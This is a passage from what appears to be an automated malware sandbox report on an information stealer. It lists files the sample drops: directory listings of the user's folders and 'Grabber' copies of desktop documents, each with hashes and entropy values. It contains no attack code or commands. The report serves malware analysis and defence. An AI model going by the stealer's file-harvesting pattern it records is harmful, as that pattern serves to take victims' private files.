Preview:	Downloads\...desktop.ini...EFOYFBOLXA.png...GAOBCVIQIJ.png...IPKGELNTQY.docx...LSBIHQFDVT.docx...LSBIHQFDVT.pdf...NEBFQQYWPS.docx...NEBFQQYWPS.xlsx...PALRGUCVEH.mp3...PIVFAGEAAV.png...PWCCAWLGRE.jpg...QNCYCDFIJJ.mp3...QNCYCDFIJJ.pdf...QNCYCDFIJJ.xlsx...SQSJKEBWDT.jpg...SQSJKEBWDT.mp3...SUAVTZKNFL.pdf...ZQIXMVQGAH.jpg...ZQIXMVQGAH.xlsx..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\OneDrive.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.023465189601646
Encrypted:	false
SSDEEP:	3:1hiR8LKB:14R8LKB
MD5:	966247EB3EE749E21597D73C4176BD52
SHA1:	1E9E63C2872CEF8F015D4B888EB9F81B00A35C79
SHA-256:	8DDFC481B1B6AE30815ECCE8A73755862F24B3BB7FDEBDBF099E037D53EB082E
SHA-512:	BD30AEC68C070E86E3DEC787ED26DD3D6B7D33D83E43CB2D50F9E2CFF779FEE4C96AFBBE170443BD62874073A844BEB29A69B10C72C54D7D444A8D86CFD7B5AA
Malicious:	false
Preview:	OneDrive\...desktop.ini..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\Pictures.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	88
Entropy (8bit):	4.450045114302317
Encrypted:	false
SSDEEP:	3:YzIVqIPLKmwHW8LKKrLKB:nqyLKmYNLKCLKB
MD5:	D430E8A326E3D75F5E49C40C111646E7
SHA1:	D8F2494185D04AB9954CD78268E65410768F6226
SHA-256:	22A45B5ECD9B66441AE7A7AB161C280B6606F920A6A6C25CD7B9C2D4CEB3254D
SHA-512:	1E8139844D02A3009EE89E2DC33CF9ED79E988867974B1291ABA8BC26C30CB952F10E88E0F44A4AEEE162A27E71EAA331CF8AC982B4179DC8203F6F7280BA5AE
Malicious:	false
Preview:	Pictures\...Camera Roll\....desktop.ini...Saved Pictures\....desktop.ini...desktop.ini..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\Startup.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.053508854797679
Encrypted:	false
SSDEEP:	3:jgBLKB:j4LKB
MD5:	68C93DA4981D591704CEA7B71CEBFB97
SHA1:	FD0F8D97463CD33892CC828B4AD04E03FC014FA6
SHA-256:	889ED51F9C16A4B989BDA57957D3E132B1A9C117EE84E208207F2FA208A59483
SHA-512:	63455C726B55F2D4DE87147A75FF04F2DAA35278183969CCF185D23707840DD84363BEC20D4E8C56252196CE555001CA0E61B3F4887D27577081FDEF9E946402
Malicious:	false
Preview:	Startup\...desktop.ini..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\Temp.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4316
Entropy (8bit):	5.221122365473182
Encrypted:	false
SSDEEP:	96:4l1AiTmcU0fWHgppNNRIjsIjQDuLzDGVid9Hd5BsdxEeKMnontC:OeV05vEA0Qi3DKi3tC
MD5:	1B15E724551E28BA4CD3E8A7440D90C7
SHA1:	A6E792E50193856B95E1C46E592AB3F47B74CA3F
SHA-256:	8B345D8C23502930B76BF69A1213870CECDE8EB32182E171F01D88734FC947C2
SHA-512:	1066224EE857A11D798866B09A94C12ADC35CE28837B411383584C1BFE97A0C85949A7A65436EBE583D1ABDD321FA7B25366490CDD00FD279A8A32D1ED23E980
Malicious:	false
Preview:	Temp\...acrobat_sbx\....Adobe\.....Acrobat\......DC\....NGL\.....NGLClient_AcrobatReader123.6.20320.6 2023-10-05 14-26-20-485.log.....NGLClient_AcrobatReader123.6.20320.6 2023-10-05 14-26-33-264.log.....NGLClient_AcrobatReader123.6.20320.6.log....acroNGLLog.txt...acrocef_low\...acrord32_super_sbx\....Adobe\.....Acrobat\......DC\.......SearchEmbdIndex\...Diagnostics\....EXCEL\.....App1696508032468775200_10880647-B84F-4E63-BA39-FD018FE29849.log.....App1696508052150041200_E3A981E3-A65E-44F3-BE69-5AB2F18A29CC.log.....App1696508061939502400_6459A85D-933F-4DD1-9926-AF331570570E.log.....App1696508061939821700_6459A85D-933F-4DD1-9926-AF331570570E.log...edge_BITS_7180_1087576367\....2e8a592b-0ad4-414c-b996-21bd8749e2fd...edge_BITS_7180_1170766122\....b22f5f18-f7ea-4290-929d-b13c03908334...edge_BITS_7180_1282578276\....e8d11bd0-b939-446e-b741-2c68ed471a53...edge_BITS_7180_132900671\....2132f61f-f790-4ae6-a355-8cf9a1533800...edge_BITS_7180_1511720087\....01d00eb7-ae22-4601-b5b4-6bd76494c105...edg

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Directories\Videos.txt

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.7950885863977324
Encrypted:	false
SSDEEP:	3:k+JrLKB:k+JrLKB
MD5:	1FDDBF1169B6C75898B86E7E24BC7C1F
SHA1:	D2091060CB5191FF70EB99C0088C182E80C20F8C
SHA-256:	A67AA329B7D878DE61671E18CD2F4B011D11CBAC67EA779818C6DAFAD2D70733
SHA-512:	20BFEAFDE7FEC1753FEF59DE467BD4A3DD7FE627E8C44E95FE62B065A5768C4508E886EC5D898E911A28CF6365F455C9AB1EBE2386D17A76F53037F99061FD4D
Malicious:	false
Preview:	Videos\...desktop.ini..

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\EFOYFBOLXA.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\GAOBCVIQIJ.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\IPKGELNTQY\GAOBCVIQIJ.png

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701188456968639
Encrypted:	false
SSDEEP:	24:hm3LKgBsTCBI602KGM6Fnd0F02s0LTz4+A7wXBjb9gPY14fmfdBH159l7TZzRQTJ:4mg9IFPGM6OtPc++wXBbV14e71zwv
MD5:	18A3248DC9C539CCD2C8419D200F1C4D
SHA1:	3B2CEE87F3426C4A08959E9861D274663420215C
SHA-256:	27D6BAB3FFA19534FF008BDBC5FF07BE94BA08C909222D5AD4802C4C9E10153E
SHA-512:	F8176C814016D4962693A55A84D2BCC26EE01DE822E76B3D3A6B0ADD48382F8D76B5576742BBCAD16A7779C602B435150C0EBDDE1B1ECBFFD6702ECEFE87133B
Malicious:	false
Preview:	GAOBCVIQIJEAUPWDPRZCCBNOLIBVRPPLZPNDXMXWAHTVVUJJRUSFIWRMMSRKOQHCYSYUBMSXZLUDXPNKIPJHNLIKYINEELPXFAGZSNBZUDCHHIXCDHGYSSWPBQTJTTGUSVAKXUCDJBHFKRHEGHIIDQIBNMNBPTCUQXVDKMCQLDDYJEQLPYWFIVRSVCHHZMWWVQSPTEOWKFBQOCSQTIVDEMIEGVVFLVGTQYKHFAQIQIDWGOQCFBYXUBCCAADXTEQWFNWFUUEWWCZWKOPSJAPHFWQQPXLGACJBTIMAPLNZIUQMQYDMTEGLQKPQSZAOUAAZHEFQNKZLRIVEYLQBXOYRAYPVETHTPJWTKBAQMFVCQHILYBXXCIJUSRNECDEBAPQPACKYMONEQAVFVJSLJHMSFLODHAMDEOOQLMHKTRONKXRUSJGZNIPSFDBPUGOOQDGXVUMBHIHMJBJURQUZFOGURXHYACJUXKOHRQKRDYOEUCWNOZMYOMEIECSMGRXADFNSGHNEYHTEUZESWUPBBTWHMAAHATGKEMQJZGUKFHMOPJNWIZHMNPENYBXIYIQQAAAPIDUTGVYULURYREYTCNKILPPERQGQZJOXIUVLLDJBKFXUJTGVBMXJXFCOCDEASKYTKWQYKXJPQPYIMVFTRDRIZGWDHSNPUPGXIZLQHXDLMDNRJWXSZBGUTMSTDCUAYDTGXGFEGTPPNOUDQYIUIRVWYSBPWRTNAHWZOJNZBMFUMOBETTVAJIKGCUOZZNFQXGHJMEETOIEJZISKBKYAFTPYJUBCNCNXVOJQLDZBVOEERMNSHPDRPHBKXUPBSMXTNRSKCXXOGLQOGPAAXIHATAVXMPGBBSIKATHNAZZHCOKHGTBSCMZLDTZSIPNGBQAQVBLOEZNNOCGBGKUDVAVPXMJZWAFTYFQUZALBMQWWTFBKYRIAXMCLPBVGGEVXGVKQOKGLWBYOFWLKNSBXJMTWCKOJNEQGGGMZAEJRHKRITMKM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\IPKGELNTQY\IPKGELNTQY.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695505889681456
Encrypted:	false
SSDEEP:	24:H4n3oQ37aNEo3/q02YbYK7OUQV8AZfGyzIie/8sE4StAYwrHEJyput:lQLaNh/qYnqUQ5ZeyMt1PTYYE7t
MD5:	3E1BF32E65136B415337727A75BB2991
SHA1:	4754D2DD51AEC8E287F0F298F5A81349578DEB56
SHA-256:	448E0EE938A14EF0F54CD6AAA94E2AA58F26558AAEF43BCC1C7F6FE9C603AE3C
SHA-512:	16F40CD1EDF14D55FACB7B9F180AB3C15C32ED4D80F8A9BAC35B1206A90AA9020D775CDA79F373207172538F23A3B52CE68AFFDFC8AC0F201DBF66D161324959
Malicious:	false
Preview:	IPKGELNTQYHQHGSHTPVWARIQFFDQORBEAICRKYCMKCXOXXEZGTFPWNNYGPFMKJKYFMMDIYXFPDOMBUDXITLFWFNVSJRIAXRYMLZEPFASMBUUMHSRRLMZJYFXBEPILYMGACOAQPURIVFPPJQEWFFWRSBDUYBRHRQONMSPELPXDMBXGBYAQIXAGRJFVIEFCVQMEYPHNUGZVQZGMYFQDUEJFFVRANZMOWZSXHATKNDJSCSYQCSVORWZGVNXHCCVTVXUSTTNQGIBVVEASKHFQJLYWHNGMDFBPGBIVVSGARAGVHEQCRHFMQXIJRNMYBNMUXCXQROMUPEUKSZABJKSEWSTNNIHBMZJFZNQVGTZUHBTFTSYYLDOVYEGPGJZRBAGPLIGCKRPXPYOWRHETLSOZVBYHRETVQLIMHTQPKGOCBKUYOLJZDOKGWRFQOSAZZOKLBEDXRWWNPXEVYADKHEARRQKGVCXSZZEJJJAZQDIVIMVVZFXGYSUUWBEYMJHWICDGVMEUXRRQBQJJOLYEAHPQEGMERBBWLEKEZLHILACOGIONOUUOWVNOJDHHKPOYOWHPFROVZLCENWHOIFGMGDYTSFECEZHAPOSJJNPIRBMBSDXOFYGBVMSBNIDOSAVRNDLNDJZMZCAQUSVGNXTEKMYXIWGQEQDOPFTVRTHSKPYBKBCJARGRESALYRKPLCXZIJRPIBTTGGUENCBAZXYIBWQIXAJPVAXKTYVZRUXZCFIDVTNWMPXGAYBSCEPNQXLHQTLBYMVJSMALADRFIWMKSEOZRQYITESWEXICOXXMXZXPWVULPMMHOPDLDXEMEXYRZEUCQJPJZNAZTRVKWMOOGPPMJYUHGJMUBQNLYTHTYZWZDOKLULRNVLQCAZOMDBIJFZZXMRXBQRSDDZHUCKCBRVVXURBLRSUHNXYBTWNVXAXHYOTXEHGOSZEIBZKYKVIKEAYNYYXUMKQOCFGPPNGBWATQESKSZNRGDARGSXCHFMUHWDN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\IPKGELNTQY\LSBIHQFDVT.pdf

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698193102830694
Encrypted:	false
SSDEEP:	24:KhE228cmFkr20OAjI3miuGa+rJj0c5MpHs17/w:KhLpN0OAjI3mjGaSN0c5oqzw
MD5:	78472D7E4F5450A7EA86F47D75E55F39
SHA1:	D107CE158C547BA6E7FBA95479B375AA3E5A9DA9
SHA-256:	2E1C76361DFADCE9DB785153CC20DB121B8667BE1554EB59258F8B4507170147
SHA-512:	D556587AF39CFD879A7D698B11DC51C7B733CC7C971EBE165A0A238B623BE60EB4979101E6B167EE4D25578DE2CAEBE85063AF01C1E94F56A0E3DE811D2454FD
Malicious:	false
Preview:	LSBIHQFDVTSVVGEDSWPTOHLTEVYTSYUFESYWTQBFWWMHNBBEMBVMOFMZTMOHDQNCKKHKYRTCMCFSQHGYBSVKMOQQLLCPQZHKDOPBFGDVPYZVWAADJMJUDTGESJIJSIQZHWSKSIHTTLYRSZAUESRQOTVVODESFYDOSXVOSTUCUVRNFBAMHCVWDUZQFCHRONJGZADAUMSGTNUNYSJEYNAJVNHGNGEKEHFUHSWMPSTLDYTFLOUMEMBIOUMUQYVMXXUSQSJYMKPGRXNZNRQHYVNDPSJDMHHNJONALSNANDEAVHLRUPZWQZSUYKUNRGQKLVUFPNDCKWWBQHGNPLZWXZSMUEQMMVQATLEMDSGIBYTRQPDWMWCCPYAGXWODOAEXALYTURUVPQJZXUJNOZGFZASLIHIVVBQZYVLEIKGCCPNMMGMIBNZIGEAQZMKNAFRLUXOVVSCZFIZNIPVFFBXOTERXCQGMZIJJKDCRYFXCYFAPTPKLXEFWZKTOELZUOLCVEONVZUAOJTZVWUJWFPFUDVPHTTGKXHDSORYETAETDBZAWMPROUKXLMNPWEGGSTJGSGHJQEGHMKRIVKCSQQGLVWFOIBALTKZNZJKTVRHAUXODFVCAVHPPOMBIWHOJVPZHSRBNBWYKRTOJBZPFGIYJCKLLAKNNAOGERLLVXJLHSWDWQWYHKSOFVCMZYBNMNLGPJOILDGZXVYEWKJBWZQHSWDZWSZLBQIBWYRMMXSCPZOJNGUIEEGKJNLYCUVISYUKUZGGZJDVPNOYOFMAODKVQWRASSESZPGLAOUYYCSGNALLRLRODYFLJIZINLFQABYEGICCVXPUWRNWLWBEOBPSPLAWNUWCLXTGHIRGLZZTTJLXIYMCQWBYXIFLVPGIWZEPOQQLQCCZQTITKAMQMYEMNRHVDWXFLMRDFHDTFKTGYONHYUGKCISPDNCPWHZCRMEJKHTUBTLHNJJVOYIWLKBNFOTHVXQJRGQARLJFNBAJTTVFM

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\IPKGELNTQY\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692704155467908
Encrypted:	false
SSDEEP:	24:zrCxfe2LWgi+vQ2TVmOkCRMqftTB+IkHJMBxmT+gmPrwxYu:zSLpN5mOhMq1NUHCLm0Mx/
MD5:	D0B81B6D51E4EDDB3769BCE2A5F1538F
SHA1:	08D04E7E91BD584CC92DB2586E3752A6E50FF2A7
SHA-256:	18CE24DD08DD5F5AC0F5CECA3D6551DFDBBD4893A4A9A9A9331E8ADB67061A33
SHA-512:	CB9E881EE3E57B79597C4AD35D24CBF490882CAB222FD687E52B01798E643876D97A51BE67CBB9AC8CD21EAEC8383FF822569E8E523B165607D328FC53E97B80
Malicious:	true
Preview:	NEBFQQYWPSTEXBZIDUTTATZZTFWRABRJBLLCZYJOVRXHUMPDHEGQDWTHPNRIJXJXBUSQEVJKULMLPCAPCSHFUPDJCEAANNYOFDUHLLLHOVFNKNTRVWZEFIUBXRXIMRWXDPWVTFKQMGYNRABMTANRGGSLGEIOAUBQFQTLCZWMEHWOZIIQMRJLAHLXPXNJVCGLENXDTBFKZKJLYBJRCHNDCSDKFOXIBOZTNXJYAJRSBBQPGAKTHVHMQLXYQGBGJEKXNNJBZRONCQRXSXGBODHFEHXLSDNKZKOYGQWTAWCYFZWCAASDECKZAPFZVLHUZNKAOEOFXYACNHCKLJCQBGVLWGGJAXFSREDNBXZVKQXDJSDSXQALVYBQAWFRFADSUOUAJLGHBNXRJZTADMFYSWTEEFNLTNZQFEUIHOMLHDFXIINXAWFLMBVWLQALRTVDAZZJLUPLSSAEVUHCENQHZDZHUFSLZAWTBWUIZXADMDJFNIGCMGZAUDXHJYRRCZLEWREZLOERQDDSEKREDPHBBKIUIEJMDLPLKXBZACMCVBOXPIUSWSAYGLJYPERFESVJDFDUCRRMCERYFAOHUKEWBRHIXVALIOBSUZIVKQJYQBYWWQBTQFSMFCMHHJGZWZAIAVHBXGYJSOQFKNTZPVJPXHVDUHZBGDUQFSTVAISEPGJPRFXXECIDSLUEKKGYCYYRYPCKPELJNUUBXKUPANFFQZXZCHJZGUXECSVNTCLQWVYUIUXXUHBVRWGMIPLLBTOOJWGEFGIBSTEOEUCIBZTYLFTDGDCLFGIIEJZNJQROHSUVDJWKISAIRTACFAGNSREZROONUNTUTBQDAEWKYIKLSDTXHQQYMOCADIFSSOJPAJKIYLOJZORJLSPXKKVUAEDRRGACWHBZIGNBZSFLRWHTOKEKQVLZFXTYGAOTMFRKSVLKIISUBYUBNXKHYRNKANSRGPAEMLRECJWZZUGCQATTLPPBVLBJPOLHBERJWQJMJGFN

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\IPKGELNTQY\ZQIXMVQGAH.jpg

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702263764575455
Encrypted:	false
SSDEEP:	24:QUkKzRRr64jMMhcqBDi9yWJqsBFhli3VZ6i0:QUkCe4j/hI9yWJnvi3Vf0
MD5:	1680F18135FD9FE517865D4B70BCA69F
SHA1:	CE72CFB81AB690709C2C5BBF40348F829C87813B
SHA-256:	0F4384BA6CC62588912ACEBE97E6E00A03D1145AFAF38BDE22023CA303B22CA0
SHA-512:	E63A46F382399DE9A52F82325302CCFF8184246D4A126EDCC98283B6CBC77D4330A01A704BA4E29144A2A37D6E06F9AF22383A00ACC2394E827DC97748171585
Malicious:	false
Preview:	ZQIXMVQGAHDITDJZGGBRVMLECQSWORTZSLVRPVEGPWPVZTSCUAAOZEHEMQBFXYQHAHJZSDLBFWCHSGHULCPYSYSQXRZJWEBIQXUUBQWRWTEIEYXQNQSWSIFSZRCKKPIEMFCPWGUCQQMTSHZBSZVTRBPCPEJUOTTXWFTZMIACKGYGCKGMCSBDEWSYMPFVNOOLZEARTYUPCWTOBACIPWHFPWORDPLQMNLMUZNAKOQVSKHKIFLPCYEHDDRRDQOYCYQVULYYOTKIZPSPBGJRCSTMNKECWGATNMXDLHHCEVMIAXORCUUBFYRDSANZMOGABCQIQLFHTBGKKNPDKITRXVRKSKNVGMYCWRZQDVIMHLJLZRTYAAEHTNREDULDCWBSZMMNIANUNAFOGWCASXNKHREAUCUWLFKPTBHSSBGWNPWTUBBQMZWBLBJUGDBYRIMWQJRPSOWJXAJGBKZNEPJRNRYUSGQVPTEMKUOEFNAJOSUDQYVKPUJCZGEGCSKJLVBNJUHWENWOTATKRZDPPHLZRTEDRFFPOSXJYWZGCANYHHLHXXVTSSYPKKRRPYFRZWPUNTSEFRSCUYISMVFYBIPXTBGXLELYMXPWVIFHICARYLACSUYONWBWTORCZTHJFSTTFVOFCJFCNAETZOVMYJPCQMLJESIRJYXODJQXZDNJABIYMTRLKATOAVVXTUZSVSRMUIPQSCLFLDHXPUIRKARFNWIVJCRHDPDVWJMVIMIYEVDEIYZXDMZFAKSSTYCAXXIWXKFLTNQLSXXZMPIQZYDSHVASWFVUHVXSYXSNAYZOGEQZXYDMZBHUZSYGXGRDAZTEOKPXEATMDEMGOQLFIBNDPAXRWXZXMBHAXSODDRKSUOGIMMNADLIRGHDFDTKKQAFWAYTUNQJNECGAKAPULJFXENSHPMQGUWBJJTPVTDADKCEVKGQOXSCANLNQNJAWKDBVBIWICEASXDEHDCNCUIOBUKTINVKEPNITJZRLWNHBVANB

C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Desktop\LSBIHQFDVT.docx

Download File

Process:	C:\Users\user\Desktop\yv7QsAR49V.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
